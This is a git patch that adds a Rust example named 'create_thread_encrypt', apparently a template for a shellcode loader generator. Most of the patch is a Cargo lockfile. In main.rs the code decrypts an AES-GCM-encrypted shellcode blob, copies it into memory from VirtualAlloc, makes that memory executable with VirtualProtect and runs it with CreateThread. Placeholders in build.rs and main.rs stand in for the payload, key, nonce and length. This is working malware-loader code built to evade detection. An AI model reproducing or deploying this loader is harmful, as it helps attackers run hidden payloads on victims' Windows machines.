From 545bfacaa5160a0818ecba0f495e93337d971efd Mon Sep 17 00:00:00 2001 From: b1n Date: Mon, 24 Jun 2024 01:21:50 +0800 Subject: [PATCH] example: add create_thread_encrypt --- examples/create_thread_encrypt/Cargo.lock | 264 +++++++++++++++++++++ examples/create_thread_encrypt/Cargo.toml | 10 + examples/create_thread_encrypt/build.rs | 7 + examples/create_thread_encrypt/src/main.rs | 56 +++++ 4 files changed, 337 insertions(+) create mode 100644 examples/create_thread_encrypt/Cargo.lock create mode 100644 examples/create_thread_encrypt/Cargo.toml create mode 100644 examples/create_thread_encrypt/build.rs create mode 100644 examples/create_thread_encrypt/src/main.rs diff --git a/examples/create_thread_encrypt/Cargo.lock b/examples/create_thread_encrypt/Cargo.lock new file mode 100644 index 0000000..957eff6 --- /dev/null +++ b/examples/create_thread_encrypt/Cargo.lock @@ -0,0 +1,264 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "aead" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0" +dependencies = [ + "crypto-common", + "generic-array", +] + +[[package]] +name = "aes" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "aes-gcm" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "831010a0f742e1209b3bcea8fab6a8e149051ba6099432c8cb2cc117dec3ead1" +dependencies = [ + "aead", + "aes", + "cipher", + "ctr", + "ghash", + "subtle", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", +] + +[[package]] +name = "cpufeatures" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53fe5e26ff1b7aef8bca9c6080520cfb8d9333c7568e1829cef191a9723e5504" +dependencies = [ + "libc", +] + +[[package]] +name = "create_thread" +version = "0.1.0" +dependencies = [ + "aes-gcm", + "windows-sys", +] + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "rand_core", + "typenum", +] + +[[package]] +name = "ctr" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" +dependencies = [ + "cipher", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "ghash" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0d8a4362ccb29cb0b265253fb0a2728f592895ee6854fd9bc13f2ffda266ff1" +dependencies = [ + "opaque-debug", + "polyval", +] + +[[package]] +name = "inout" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5" +dependencies = [ + "generic-array", +] + +[[package]] +name = "libc" +version = "0.2.155" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97b3888a4aecf77e811145cadf6eef5901f4782c53886191b2f693f24761847c" + +[[package]] +name = "opaque-debug" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381" + +[[package]] +name = "polyval" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d1fe60d06143b2430aa532c94cfe9e29783047f06c0d7fd359a9a51b729fa25" +dependencies = [ + "cfg-if", + "cpufeatures", + "opaque-debug", + "universal-hash", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "subtle" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d0208408ba0c3df17ed26eb06992cb1a1268d41b2c0e12e65203fbe3972cee5" + +[[package]] +name = "typenum" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "universal-hash" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea" +dependencies = [ + "crypto-common", + "subtle", +] + +[[package]] +name = "version_check" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" diff --git a/examples/create_thread_encrypt/Cargo.toml b/examples/create_thread_encrypt/Cargo.toml new file mode 100644 index 0000000..b5d7cae --- /dev/null +++ b/examples/create_thread_encrypt/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "create_thread" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +windows-sys = { version = "0.48.0", features = ["Win32_System_Memory", "Win32_Foundation", "Win32_System_Threading", "Win32_Security"] } +aes-gcm = "0.10.3" \ No newline at end of file diff --git a/examples/create_thread_encrypt/build.rs b/examples/create_thread_encrypt/build.rs new file mode 100644 index 0000000..7190415 --- /dev/null +++ b/examples/create_thread_encrypt/build.rs @@ -0,0 +1,7 @@ +use std::{fs, iter}; + +fn main() { + let mut shellcode = "$$SHELLCODE$$".as_bytes().to_vec(); + shellcode.extend(iter::repeat(b'0').take(1024 * 1024)); + fs::write("shellcode", shellcode.as_slice()).unwrap(); +} diff --git a/examples/create_thread_encrypt/src/main.rs b/examples/create_thread_encrypt/src/main.rs new file mode 100644 index 0000000..09449f2 --- /dev/null +++ b/examples/create_thread_encrypt/src/main.rs @@ -0,0 +1,56 @@ +use aes_gcm::aead::Aead; +use aes_gcm::{Aes256Gcm, KeyInit, Nonce}; +use std::mem::transmute; +use std::ptr::{copy, null, null_mut}; +use windows_sys::Win32::Foundation::{GetLastError, FALSE, WAIT_FAILED}; +use windows_sys::Win32::System::Memory::{ + VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE, +}; +use windows_sys::Win32::System::Threading::{CreateThread, WaitForSingleObject}; + +fn decrypt(data: &[u8]) -> Vec { + const KEY: &[u8; 32] = b"$$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$"; + const NONCE: &[u8; 12] = b"$$NNNNNNNN$$"; + + let aes = Aes256Gcm::new_from_slice(KEY).unwrap(); + let nonce = Nonce::from_slice(NONCE); + aes.decrypt(nonce, data).unwrap() +} + +#[cfg(target_os = "windows")] +fn main() { + let shellcode = include_bytes!("../shellcode"); + const SIZE_HOLDER: &str = "$$99999$$"; + let shellcode_len = usize::from_str_radix(SIZE_HOLDER, 10).unwrap(); + let shellcode = &shellcode[0..shellcode_len]; + let shellcode = decrypt(shellcode); + let shellcode_size = shellcode.len(); + + unsafe { + let addr = VirtualAlloc( + null(), + shellcode_size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + ); + if addr.is_null() { + panic!("[-]VirtualAlloc failed: {}!", GetLastError()); + } + + copy(shellcode.as_ptr(), addr.cast(), shellcode_size); + + let mut old = PAGE_READWRITE; + let res = VirtualProtect(addr, shellcode_size, PAGE_EXECUTE, &mut old); + if res == FALSE { + panic!("[-]VirtualProtect failed: {}!", GetLastError()); + } + + let addr = transmute(addr); + let thread = CreateThread(null(), 0, addr, null(), 0, null_mut()); + if thread == 0 { + panic!("[-]CreateThread failed: {}!", GetLastError()); + } + + WaitForSingleObject(thread, WAIT_FAILED); + } +}